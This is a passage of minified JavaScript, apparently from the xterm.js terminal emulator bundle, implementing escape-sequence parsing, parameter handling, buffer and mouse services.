r=this._callbacks[this._bufferOffset];if(r&&r(),this._bufferOffset++,this._pendingData-=e.length,Date.now()-i>=12)break}this._writeBuffer.length>this._bufferOffset?(this._bufferOffset>50&&(this._writeBuffer=this._writeBuffer.slice(this._bufferOffset),this._callbacks=this._callbacks.slice(this._bufferOffset),this._bufferOffset=0),setTimeout((()=>this._innerWrite()))):(this._writeBuffer.length=0,this._callbacks.length=0,this._pendingData=0,this._bufferOffset=0),this._onWriteParsed.fire()}}t.WriteBuffer=n},5941:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.toRgbString=t.parseColor=void 0;const i=/^([\\da-f])\\/([\\da-f])\\/([\\da-f])$|^([\\da-f]{2})\\/([\\da-f]{2})\\/([\\da-f]{2})$|^([\\da-f]{3})\\/([\\da-f]{3})\\/([\\da-f]{3})$|^([\\da-f]{4})\\/([\\da-f]{4})\\/([\\da-f]{4})$/,s=/^[\\da-f]+$/;function r(e,t){const i=e.toString(16),s=i.length<2?\"0\"+i:i;switch(t){case 4:return i[0];case 8:return s;case 12:return(s+s).slice(0,3);default:return s+s}}t.parseColor=function(e){if(!e)return;let t=e.toLowerCase();if(0===t.indexOf(\"rgb:\")){t=t.slice(4);const e=i.exec(t);if(e){const t=e[1]?15:e[4]?255:e[7]?4095:65535;return[Math.round(parseInt(e[1]||e[4]||e[7]||e[10],16)/t*255),Math.round(parseInt(e[2]||e[5]||e[8]||e[11],16)/t*255),Math.round(parseInt(e[3]||e[6]||e[9]||e[12],16)/t*255)]}}else if(0===t.indexOf(\"#\")&&(t=t.slice(1),s.exec(t)&&[3,6,9,12].includes(t.length))){const e=t.length/3,i=[0,0,0];for(let s=0;s<3;++s){const r=parseInt(t.slice(e*s,e*s+e),16);i[s]=1===e?r<<4:2===e?r:3===e?r>>4:r>>8}return i}},t.toRgbString=function(e,t=16){const[i,s,n]=e;return`rgb:${r(i,t)}/${r(s,t)}/${r(n,t)}`}},5770:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.PAYLOAD_LIMIT=void 0,t.PAYLOAD_LIMIT=1e7},6351:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.DcsHandler=t.DcsParser=void 0;const s=i(482),r=i(8742),n=i(5770),o=[];t.DcsParser=class{constructor(){this._handlers=Object.create(null),this._active=o,this._ident=0,this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=o}registerHandler(e,t){void 0===this._handlers[e]&&(this._handlers[e]=[]);const i=this._handlers[e];return i.push(t),{dispose:()=>{const e=i.indexOf(t);-1!==e&&i.splice(e,1)}}}clearHandler(e){this._handlers[e]&&delete this._handlers[e]}setHandlerFallback(e){this._handlerFb=e}reset(){if(this._active.length)for(let e=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;e>=0;--e)this._active[e].unhook(!1);this._stack.paused=!1,this._active=o,this._ident=0}hook(e,t){if(this.reset(),this._ident=e,this._active=this._handlers[e]||o,this._active.length)for(let e=this._active.length-1;e>=0;e--)this._active[e].hook(t);else this._handlerFb(this._ident,\"HOOK\",t)}put(e,t,i){if(this._active.length)for(let s=this._active.length-1;s>=0;s--)this._active[s].put(e,t,i);else this._handlerFb(this._ident,\"PUT\",(0,s.utf32ToString)(e,t,i))}unhook(e,t=!0){if(this._active.length){let i=!1,s=this._active.length-1,r=!1;if(this._stack.paused&&(s=this._stack.loopPosition-1,i=t,r=this._stack.fallThrough,this._stack.paused=!1),!r&&!1===i){for(;s>=0&&(i=this._active[s].unhook(e),!0!==i);s--)if(i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!1,i;s--}for(;s>=0;s--)if(i=this._active[s].unhook(!1),i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!0,i}else this._handlerFb(this._ident,\"UNHOOK\",e);this._active=o,this._ident=0}};const a=new r.Params;a.addParam(0),t.DcsHandler=class{constructor(e){this._handler=e,this._data=\"\",this._params=a,this._hitLimit=!1}hook(e){this._params=e.length>1||e.params[0]?e.clone():a,this._data=\"\",this._hitLimit=!1}put(e,t,i){this._hitLimit||(this._data+=(0,s.utf32ToString)(e,t,i),this._data.length>n.PAYLOAD_LIMIT&&(this._data=\"\",this._hitLimit=!0))}unhook(e){let t=!1;if(this._hitLimit)t=!1;else if(e&&(t=this._handler(this._data,this._params),t instanceof Promise))return t.then((e=>(this._params=a,this._data=\"\",this._hitLimit=!1,e)));return this._params=a,this._data=\"\",this._hitLimit=!1,t}}},2015:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.EscapeSequenceParser=t.VT500_TRANSITION_TABLE=t.TransitionTable=void 0;const s=i(844),r=i(8742),n=i(6242),o=i(6351);class a{constructor(e){this.table=new Uint8Array(e)}setDefault(e,t){this.table.fill(e<<4|t)}add(e,t,i,s){this.table[t<<8|e]=i<<4|s}addMany(e,t,i,s){for(let r=0;r<e.length;r++)this.table[t<<8|e[r]]=i<<4|s}}t.TransitionTable=a;const h=160;t.VT500_TRANSITION_TABLE=function(){const e=new a(4095),t=Array.apply(null,Array(256)).map(((e,t)=>t)),i=(e,i)=>t.slice(e,i),s=i(32,127),r=i(0,24);r.push(25),r.push.apply(r,i(28,32));const n=i(0,14);let o;for(o in e.setDefault(1,0),e.addMany(s,0,2,0),n)e.addMany([24,26,153,154],o,3,0),e.addMany(i(128,144),o,3,0),e.addMany(i(144,152),o,3,0),e.add(156,o,0,0),e.add(27,o,11,1),e.add(157,o,4,8),e.addMany([152,158,159],o,0,7),e.add(155,o,11,3),e.add(144,o,11,9);return e.addMany(r,0,3,0),e.addMany(r,1,3,1),e.add(127,1,0,1),e.addMany(r,8,0,8),e.addMany(r,3,3,3),e.add(127,3,0,3),e.addMany(r,4,3,4),e.add(127,4,0,4),e.addMany(r,6,3,6),e.addMany(r,5,3,5),e.add(127,5,0,5),e.addMany(r,2,3,2),e.add(127,2,0,2),e.add(93,1,4,8),e.addMany(s,8,5,8),e.add(127,8,5,8),e.addMany([156,27,24,26,7],8,6,0),e.addMany(i(28,32),8,0,8),e.addMany([88,94,95],1,0,7),e.addMany(s,7,0,7),e.addMany(r,7,0,7),e.add(156,7,0,0),e.add(127,7,0,7),e.add(91,1,11,3),e.addMany(i(64,127),3,7,0),e.addMany(i(48,60),3,8,4),e.addMany([60,61,62,63],3,9,4),e.addMany(i(48,60),4,8,4),e.addMany(i(64,127),4,7,0),e.addMany([60,61,62,63],4,0,6),e.addMany(i(32,64),6,0,6),e.add(127,6,0,6),e.addMany(i(64,127),6,0,0),e.addMany(i(32,48),3,9,5),e.addMany(i(32,48),5,9,5),e.addMany(i(48,64),5,0,6),e.addMany(i(64,127),5,7,0),e.addMany(i(32,48),4,9,5),e.addMany(i(32,48),1,9,2),e.addMany(i(32,48),2,9,2),e.addMany(i(48,127),2,10,0),e.addMany(i(48,80),1,10,0),e.addMany(i(81,88),1,10,0),e.addMany([89,90,92],1,10,0),e.addMany(i(96,127),1,10,0),e.add(80,1,11,9),e.addMany(r,9,0,9),e.add(127,9,0,9),e.addMany(i(28,32),9,0,9),e.addMany(i(32,48),9,9,12),e.addMany(i(48,60),9,8,10),e.addMany([60,61,62,63],9,9,10),e.addMany(r,11,0,11),e.addMany(i(32,128),11,0,11),e.addMany(i(28,32),11,0,11),e.addMany(r,10,0,10),e.add(127,10,0,10),e.addMany(i(28,32),10,0,10),e.addMany(i(48,60),10,8,10),e.addMany([60,61,62,63],10,0,11),e.addMany(i(32,48),10,9,12),e.addMany(r,12,0,12),e.add(127,12,0,12),e.addMany(i(28,32),12,0,12),e.addMany(i(32,48),12,9,12),e.addMany(i(48,64),12,0,11),e.addMany(i(64,127),12,12,13),e.addMany(i(64,127),10,12,13),e.addMany(i(64,127),9,12,13),e.addMany(r,13,13,13),e.addMany(s,13,13,13),e.add(127,13,0,13),e.addMany([27,156,24,26],13,14,0),e.add(h,0,2,0),e.add(h,8,5,8),e.add(h,6,0,6),e.add(h,11,0,11),e.add(h,13,13,13),e}();class c extends s.Disposable{constructor(e=t.VT500_TRANSITION_TABLE){super(),this._transitions=e,this._parseStack={state:0,handlers:[],handlerPos:0,transition:0,chunkPos:0},this.initialState=0,this.currentState=this.initialState,this._params=new r.Params,this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,this._printHandlerFb=(e,t,i)=>{},this._executeHandlerFb=e=>{},this._csiHandlerFb=(e,t)=>{},this._escHandlerFb=e=>{},this._errorHandlerFb=e=>e,this._printHandler=this._printHandlerFb,this._executeHandlers=Object.create(null),this._csiHandlers=Object.create(null),this._escHandlers=Object.create(null),this.register((0,s.toDisposable)((()=>{this._csiHandlers=Object.create(null),this._executeHandlers=Object.create(null),this._escHandlers=Object.create(null)}))),this._oscParser=this.register(new n.OscParser),this._dcsParser=this.register(new o.DcsParser),this._errorHandler=this._errorHandlerFb,this.registerEscHandler({final:\"\\\\\"},(()=>!0))}_identifier(e,t=[64,126]){let i=0;if(e.prefix){if(e.prefix.length>1)throw new Error(\"only one byte as prefix supported\");if(i=e.prefix.charCodeAt(0),i&&60>i||i>63)throw new Error(\"prefix must be in range 0x3c .. 0x3f\")}if(e.intermediates){if(e.intermediates.length>2)throw new Error(\"only two bytes as intermediates are supported\");for(let t=0;t<e.intermediates.length;++t){const s=e.intermediates.charCodeAt(t);if(32>s||s>47)throw new Error(\"intermediate must be in range 0x20 .. 0x2f\");i<<=8,i|=s}}if(1!==e.final.length)throw new Error(\"final must be a single byte\");const s=e.final.charCodeAt(0);if(t[0]>s||s>t[1])throw new Error(`final must be in range ${t[0]} .. ${t[1]}`);return i<<=8,i|=s,i}identToString(e){const t=[];for(;e;)t.push(String.fromCharCode(255&e)),e>>=8;return t.reverse().join(\"\")}setPrintHandler(e){this._printHandler=e}clearPrintHandler(){this._printHandler=this._printHandlerFb}registerEscHandler(e,t){const i=this._identifier(e,[48,126]);void 0===this._escHandlers[i]&&(this._escHandlers[i]=[]);const s=this._escHandlers[i];return s.push(t),{dispose:()=>{const e=s.indexOf(t);-1!==e&&s.splice(e,1)}}}clearEscHandler(e){this._escHandlers[this._identifier(e,[48,126])]&&delete this._escHandlers[this._identifier(e,[48,126])]}setEscHandlerFallback(e){this._escHandlerFb=e}setExecuteHandler(e,t){this._executeHandlers[e.charCodeAt(0)]=t}clearExecuteHandler(e){this._executeHandlers[e.charCodeAt(0)]&&delete this._executeHandlers[e.charCodeAt(0)]}setExecuteHandlerFallback(e){this._executeHandlerFb=e}registerCsiHandler(e,t){const i=this._identifier(e);void 0===this._csiHandlers[i]&&(this._csiHandlers[i]=[]);const s=this._csiHandlers[i];return s.push(t),{dispose:()=>{const e=s.indexOf(t);-1!==e&&s.splice(e,1)}}}clearCsiHandler(e){this._csiHandlers[this._identifier(e)]&&delete this._csiHandlers[this._identifier(e)]}setCsiHandlerFallback(e){this._csiHandlerFb=e}registerDcsHandler(e,t){return this._dcsParser.registerHandler(this._identifier(e),t)}clearDcsHandler(e){this._dcsParser.clearHandler(this._identifier(e))}setDcsHandlerFallback(e){this._dcsParser.setHandlerFallback(e)}registerOscHandler(e,t){return this._oscParser.registerHandler(e,t)}clearOscHandler(e){this._oscParser.clearHandler(e)}setOscHandlerFallback(e){this._oscParser.setHandlerFallback(e)}setErrorHandler(e){this._errorHandler=e}clearErrorHandler(){this._errorHandler=this._errorHandlerFb}reset(){this.currentState=this.initialState,this._oscParser.reset(),this._dcsParser.reset(),this._params.reset(),this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,0!==this._parseStack.state&&(this._parseStack.state=2,this._parseStack.handlers=[])}_preserveStack(e,t,i,s,r){this._parseStack.state=e,this._parseStack.handlers=t,this._parseStack.handlerPos=i,this._parseStack.transition=s,this._parseStack.chunkPos=r}parse(e,t,i){let s,r=0,n=0,o=0;if(this._parseStack.state)if(2===this._parseStack.state)this._parseStack.state=0,o=this._parseStack.chunkPos+1;else{if(void 0===i||1===this._parseStack.state)throw this._parseStack.state=1,new Error(\"improper continuation due to previous async handler, giving up parsing\");const t=this._parseStack.handlers;let n=this._parseStack.handlerPos-1;switch(this._parseStack.state){case 3:if(!1===i&&n>-1)for(;n>=0&&(s=t[n](this._params),!0!==s);n--)if(s instanceof Promise)return this._parseStack.handlerPos=n,s;this._parseStack.handlers=[];break;case 4:if(!1===i&&n>-1)for(;n>=0&&(s=t[n](),!0!==s);n--)if(s instanceof Promise)return this._parseStack.handlerPos=n,s;this._parseStack.handlers=[];break;case 6:if(r=e[this._parseStack.chunkPos],s=this._dcsParser.unhook(24!==r&&26!==r,i),s)return s;27===r&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0;break;case 5:if(r=e[this._parseStack.chunkPos],s=this._oscParser.end(24!==r&&26!==r,i),s)return s;27===r&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0}this._parseStack.state=0,o=this._parseStack.chunkPos+1,this.precedingCodepoint=0,this.currentState=15&this._parseStack.transition}for(let i=o;i<t;++i){switch(r=e[i],n=this._transitions.table[this.currentState<<8|(r<160?r:h)],n>>4){case 2:for(let s=i+1;;++s){if(s>=t||(r=e[s])<32||r>126&&r<h){this._printHandler(e,i,s),i=s-1;break}if(++s>=t||(r=e[s])<32||r>126&&r<h){this._printHandler(e,i,s),i=s-1;break}if(++s>=t||(r=e[s])<32||r>126&&r<h){this._printHandler(e,i,s),i=s-1;break}if(++s>=t||(r=e[s])<32||r>126&&r<h){this._printHandler(e,i,s),i=s-1;break}}break;case 3:this._executeHandlers[r]?this._executeHandlers[r]():this._executeHandlerFb(r),this.precedingCodepoint=0;break;case 0:break;case 1:if(this._errorHandler({position:i,code:r,currentState:this.currentState,collect:this._collect,params:this._params,abort:!1}).abort)return;break;case 7:const o=this._csiHandlers[this._collect<<8|r];let a=o?o.length-1:-1;for(;a>=0&&(s=o[a](this._params),!0!==s);a--)if(s instanceof Promise)return this._preserveStack(3,o,a,n,i),s;a<0&&this._csiHandlerFb(this._collect<<8|r,this._params),this.precedingCodepoint=0;break;case 8:do{switch(r){case 59:this._params.addParam(0);break;case 58:this._params.addSubParam(-1);break;default:this._params.addDigit(r-48)}}while(++i<t&&(r=e[i])>47&&r<60);i--;break;case 9:this._collect<<=8,this._collect|=r;break;case 10:const c=this._escHandlers[this._collect<<8|r];let l=c?c.length-1:-1;for(;l>=0&&(s=c[l](),!0!==s);l--)if(s instanceof Promise)return this._preserveStack(4,c,l,n,i),s;l<0&&this._escHandlerFb(this._collect<<8|r),this.precedingCodepoint=0;break;case 11:this._params.reset(),this._params.addParam(0),this._collect=0;break;case 12:this._dcsParser.hook(this._collect<<8|r,this._params);break;case 13:for(let s=i+1;;++s)if(s>=t||24===(r=e[s])||26===r||27===r||r>127&&r<h){this._dcsParser.put(e,i,s),i=s-1;break}break;case 14:if(s=this._dcsParser.unhook(24!==r&&26!==r),s)return this._preserveStack(6,[],0,n,i),s;27===r&&(n|=1),this._params.reset(),this._params.addParam(0),this._collect=0,this.precedingCodepoint=0;break;case 4:this._oscParser.start();break;case 5:for(let s=i+1;;s++)if(s>=t||(r=e[s])<32||r>127&&r<h){this._oscParser.put(e,i,s),i=s-1;break}break;case 6:if(s=this._oscParser.end(24!==r&&26!==r),s)return this._preserveStack(5,[],0,n,i),s;27===r&&(n|=1),this._params.reset(),this._params.addParam(0),this._collect=0,this.precedingCodepoint=0}this.currentState=15&n}}}t.EscapeSequenceParser=c},6242:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.OscHandler=t.OscParser=void 0;const s=i(5770),r=i(482),n=[];t.OscParser=class{constructor(){this._state=0,this._active=n,this._id=-1,this._handlers=Object.create(null),this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}registerHandler(e,t){void 0===this._handlers[e]&&(this._handlers[e]=[]);const i=this._handlers[e];return i.push(t),{dispose:()=>{const e=i.indexOf(t);-1!==e&&i.splice(e,1)}}}clearHandler(e){this._handlers[e]&&delete this._handlers[e]}setHandlerFallback(e){this._handlerFb=e}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=n}reset(){if(2===this._state)for(let e=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;e>=0;--e)this._active[e].end(!1);this._stack.paused=!1,this._active=n,this._id=-1,this._state=0}_start(){if(this._active=this._handlers[this._id]||n,this._active.length)for(let e=this._active.length-1;e>=0;e--)this._active[e].start();else this._handlerFb(this._id,\"START\")}_put(e,t,i){if(this._active.length)for(let s=this._active.length-1;s>=0;s--)this._active[s].put(e,t,i);else this._handlerFb(this._id,\"PUT\",(0,r.utf32ToString)(e,t,i))}start(){this.reset(),this._state=1}put(e,t,i){if(3!==this._state){if(1===this._state)for(;t<i;){const i=e[t++];if(59===i){this._state=2,this._start();break}if(i<48||57<i)return void(this._state=3);-1===this._id&&(this._id=0),this._id=10*this._id+i-48}2===this._state&&i-t>0&&this._put(e,t,i)}}end(e,t=!0){if(0!==this._state){if(3!==this._state)if(1===this._state&&this._start(),this._active.length){let i=!1,s=this._active.length-1,r=!1;if(this._stack.paused&&(s=this._stack.loopPosition-1,i=t,r=this._stack.fallThrough,this._stack.paused=!1),!r&&!1===i){for(;s>=0&&(i=this._active[s].end(e),!0!==i);s--)if(i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!1,i;s--}for(;s>=0;s--)if(i=this._active[s].end(!1),i instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=s,this._stack.fallThrough=!0,i}else this._handlerFb(this._id,\"END\",e);this._active=n,this._id=-1,this._state=0}}},t.OscHandler=class{constructor(e){this._handler=e,this._data=\"\",this._hitLimit=!1}start(){this._data=\"\",this._hitLimit=!1}put(e,t,i){this._hitLimit||(this._data+=(0,r.utf32ToString)(e,t,i),this._data.length>s.PAYLOAD_LIMIT&&(this._data=\"\",this._hitLimit=!0))}end(e){let t=!1;if(this._hitLimit)t=!1;else if(e&&(t=this._handler(this._data),t instanceof Promise))return t.then((e=>(this._data=\"\",this._hitLimit=!1,e)));return this._data=\"\",this._hitLimit=!1,t}}},8742:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.Params=void 0;const i=2147483647;class s{static fromArray(e){const t=new s;if(!e.length)return t;for(let i=Array.isArray(e[0])?1:0;i<e.length;++i){const s=e[i];if(Array.isArray(s))for(let e=0;e<s.length;++e)t.addSubParam(s[e]);else t.addParam(s)}return t}constructor(e=32,t=32){if(this.maxLength=e,this.maxSubParamsLength=t,t>256)throw new Error(\"maxSubParamsLength must not be greater than 256\");this.params=new Int32Array(e),this.length=0,this._subParams=new Int32Array(t),this._subParamsLength=0,this._subParamsIdx=new Uint16Array(e),this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}clone(){const e=new s(this.maxLength,this.maxSubParamsLength);return e.params.set(this.params),e.length=this.length,e._subParams.set(this._subParams),e._subParamsLength=this._subParamsLength,e._subParamsIdx.set(this._subParamsIdx),e._rejectDigits=this._rejectDigits,e._rejectSubDigits=this._rejectSubDigits,e._digitIsSub=this._digitIsSub,e}toArray(){const e=[];for(let t=0;t<this.length;++t){e.push(this.params[t]);const i=this._subParamsIdx[t]>>8,s=255&this._subParamsIdx[t];s-i>0&&e.push(Array.prototype.slice.call(this._subParams,i,s))}return e}reset(){this.length=0,this._subParamsLength=0,this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}addParam(e){if(this._digitIsSub=!1,this.length>=this.maxLength)this._rejectDigits=!0;else{if(e<-1)throw new Error(\"values lesser than -1 are not allowed\");this._subParamsIdx[this.length]=this._subParamsLength<<8|this._subParamsLength,this.params[this.length++]=e>i?i:e}}addSubParam(e){if(this._digitIsSub=!0,this.length)if(this._rejectDigits||this._subParamsLength>=this.maxSubParamsLength)this._rejectSubDigits=!0;else{if(e<-1)throw new Error(\"values lesser than -1 are not allowed\");this._subParams[this._subParamsLength++]=e>i?i:e,this._subParamsIdx[this.length-1]++}}hasSubParams(e){return(255&this._subParamsIdx[e])-(this._subParamsIdx[e]>>8)>0}getSubParams(e){const t=this._subParamsIdx[e]>>8,i=255&this._subParamsIdx[e];return i-t>0?this._subParams.subarray(t,i):null}getSubParamsAll(){const e={};for(let t=0;t<this.length;++t){const i=this._subParamsIdx[t]>>8,s=255&this._subParamsIdx[t];s-i>0&&(e[t]=this._subParams.slice(i,s))}return e}addDigit(e){let t;if(this._rejectDigits||!(t=this._digitIsSub?this._subParamsLength:this.length)||this._digitIsSub&&this._rejectSubDigits)return;const s=this._digitIsSub?this._subParams:this.params,r=s[t-1];s[t-1]=~r?Math.min(10*r+e,i):e}}t.Params=s},5741:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.AddonManager=void 0,t.AddonManager=class{constructor(){this._addons=[]}dispose(){for(let e=this._addons.length-1;e>=0;e--)this._addons[e].instance.dispose()}loadAddon(e,t){const i={instance:t,dispose:t.dispose,isDisposed:!1};this._addons.push(i),t.dispose=()=>this._wrappedAddonDispose(i),t.activate(e)}_wrappedAddonDispose(e){if(e.isDisposed)return;let t=-1;for(let i=0;i<this._addons.length;i++)if(this._addons[i]===e){t=i;break}if(-1===t)throw new Error(\"Could not dispose an addon that has not been loaded\");e.isDisposed=!0,e.dispose.apply(e.instance),this._addons.splice(t,1)}}},8771:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.BufferApiView=void 0;const s=i(3785),r=i(511);t.BufferApiView=class{constructor(e,t){this._buffer=e,this.type=t}init(e){return this._buffer=e,this}get cursorY(){return this._buffer.y}get cursorX(){return this._buffer.x}get viewportY(){return this._buffer.ydisp}get baseY(){return this._buffer.ybase}get length(){return this._buffer.lines.length}getLine(e){const t=this._buffer.lines.get(e);if(t)return new s.BufferLineApiView(t)}getNullCell(){return new r.CellData}}},3785:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.BufferLineApiView=void 0;const s=i(511);t.BufferLineApiView=class{constructor(e){this._line=e}get isWrapped(){return this._line.isWrapped}get length(){return this._line.length}getCell(e,t){if(!(e<0||e>=this._line.length))return t?(this._line.loadCell(e,t),t):this._line.loadCell(e,new s.CellData)}translateToString(e,t,i){return this._line.translateToString(e,t,i)}}},8285:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.BufferNamespaceApi=void 0;const s=i(8771),r=i(8460),n=i(844);class o extends n.Disposable{constructor(e){super(),this._core=e,this._onBufferChange=this.register(new r.EventEmitter),this.onBufferChange=this._onBufferChange.event,this._normal=new s.BufferApiView(this._core.buffers.normal,\"normal\"),this._alternate=new s.BufferApiView(this._core.buffers.alt,\"alternate\"),this._core.buffers.onBufferActivate((()=>this._onBufferChange.fire(this.active)))}get active(){if(this._core.buffers.active===this._core.buffers.normal)return this.normal;if(this._core.buffers.active===this._core.buffers.alt)return this.alternate;throw new Error(\"Active buffer is neither normal nor alternate\")}get normal(){return this._normal.init(this._core.buffers.normal)}get alternate(){return this._alternate.init(this._core.buffers.alt)}}t.BufferNamespaceApi=o},7975:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.ParserApi=void 0,t.ParserApi=class{constructor(e){this._core=e}registerCsiHandler(e,t){return this._core.registerCsiHandler(e,(e=>t(e.toArray())))}addCsiHandler(e,t){return this.registerCsiHandler(e,t)}registerDcsHandler(e,t){return this._core.registerDcsHandler(e,((e,i)=>t(e,i.toArray())))}addDcsHandler(e,t){return this.registerDcsHandler(e,t)}registerEscHandler(e,t){return this._core.registerEscHandler(e,t)}addEscHandler(e,t){return this.registerEscHandler(e,t)}registerOscHandler(e,t){return this._core.registerOscHandler(e,t)}addOscHandler(e,t){return this.registerOscHandler(e,t)}}},7090:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.UnicodeApi=void 0,t.UnicodeApi=class{constructor(e){this._core=e}register(e){this._core.unicodeService.register(e)}get versions(){return this._core.unicodeService.versions}get activeVersion(){return this._core.unicodeService.activeVersion}set activeVersion(e){this._core.unicodeService.activeVersion=e}}},744:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.BufferService=t.MINIMUM_ROWS=t.MINIMUM_COLS=void 0;const n=i(8460),o=i(844),a=i(5295),h=i(2585);t.MINIMUM_COLS=2,t.MINIMUM_ROWS=1;let c=t.BufferService=class extends o.Disposable{get buffer(){return this.buffers.active}constructor(e){super(),this.isUserScrolling=!1,this._onResize=this.register(new n.EventEmitter),this.onResize=this._onResize.event,this._onScroll=this.register(new n.EventEmitter),this.onScroll=this._onScroll.event,this.cols=Math.max(e.rawOptions.cols||0,t.MINIMUM_COLS),this.rows=Math.max(e.rawOptions.rows||0,t.MINIMUM_ROWS),this.buffers=this.register(new a.BufferSet(e,this))}resize(e,t){this.cols=e,this.rows=t,this.buffers.resize(e,t),this._onResize.fire({cols:e,rows:t})}reset(){this.buffers.reset(),this.isUserScrolling=!1}scroll(e,t=!1){const i=this.buffer;let s;s=this._cachedBlankLine,s&&s.length===this.cols&&s.getFg(0)===e.fg&&s.getBg(0)===e.bg||(s=i.getBlankLine(e,t),this._cachedBlankLine=s),s.isWrapped=t;const r=i.ybase+i.scrollTop,n=i.ybase+i.scrollBottom;if(0===i.scrollTop){const e=i.lines.isFull;n===i.lines.length-1?e?i.lines.recycle().copyFrom(s):i.lines.push(s.clone()):i.lines.splice(n+1,0,s.clone()),e?this.isUserScrolling&&(i.ydisp=Math.max(i.ydisp-1,0)):(i.ybase++,this.isUserScrolling||i.ydisp++)}else{const e=n-r+1;i.lines.shiftElements(r+1,e-1,-1),i.lines.set(n,s.clone())}this.isUserScrolling||(i.ydisp=i.ybase),this._onScroll.fire(i.ydisp)}scrollLines(e,t,i){const s=this.buffer;if(e<0){if(0===s.ydisp)return;this.isUserScrolling=!0}else e+s.ydisp>=s.ybase&&(this.isUserScrolling=!1);const r=s.ydisp;s.ydisp=Math.max(Math.min(s.ydisp+e,s.ybase),0),r!==s.ydisp&&(t||this._onScroll.fire(s.ydisp))}};t.BufferService=c=s([r(0,h.IOptionsService)],c)},7994:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.CharsetService=void 0,t.CharsetService=class{constructor(){this.glevel=0,this._charsets=[]}reset(){this.charset=void 0,this._charsets=[],this.glevel=0}setgLevel(e){this.glevel=e,this.charset=this._charsets[e]}setgCharset(e,t){this._charsets[e]=t,this.glevel===e&&(this.charset=t)}}},1753:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.CoreMouseService=void 0;const n=i(2585),o=i(8460),a=i(844),h={NONE:{events:0,restrict:()=>!1},X10:{events:1,restrict:e=>4!==e.button&&1===e.action&&(e.ctrl=!1,e.alt=!1,e.shift=!1,!0)},VT200:{events:19,restrict:e=>32!==e.action},DRAG:{events:23,restrict:e=>32!==e.action||3!==e.button},ANY:{events:31,restrict:e=>!0}};function c(e,t){let i=(e.ctrl?16:0)|(e.shift?4:0)|(e.alt?8:0);return 4===e.button?(i|=64,i|=e.action):(i|=3&e.button,4&e.button&&(i|=64),8&e.button&&(i|=128),32===e.action?i|=32:0!==e.action||t||(i|=3)),i}const l=String.fromCharCode,d={DEFAULT:e=>{const t=[c(e,!1)+32,e.col+32,e.row+32];return t[0]>255||t[1]>255||t[2]>255?\"\":`\u001b[M${l(t[0])}${l(t[1])}${l(t[2])}`},SGR:e=>{const t=0===e.action&&4!==e.button?\"m\":\"M\";return`\u001b[<${c(e,!0)};${e.col};${e.row}${t}`},SGR_PIXELS:e=>{const t=0===e.action&&4!==e.button?\"m\":\"M\";return`\u001b[<${c(e,!0)};${e.x};${e.y}${t}`}};let _=t.CoreMouseService=class extends a.Disposable{constructor(e,t){super(),this._bufferService=e,this._coreService=t,this._protocols={},this._encodings={},this._activeProtocol=\"\",this._activeEncoding=\"\",this._lastEvent=null,this._onProtocolChange=this.register(new o.EventEmitter),this.onProtocolChange=this._onProtocolChange.event;for(const e of Object.keys(h))this.addProtocol(e,h[e]);for(const e of Object.keys(d))this.addEncoding(e,d[e]);this.reset()}addProtocol(e,t){this._protocols[e]=t}addEncoding(e,t){this._encodings[e]=t}get activeProtocol(){return this._activeProtocol}get areMouseEventsActive(){return 0!==this._protocols[this._activeProtocol].events}set activeProtocol(e){if(!this._protocols[e])throw new Error(`unknown protocol \"${e}\"`);this._activeProtocol=e,this._onProtocolChange.fire(this._protocols[e].events)}get activeEncoding(){return this._activeEncoding}set activeEncoding(e){if(!this._encodings[e])throw new Error(`unknown encoding 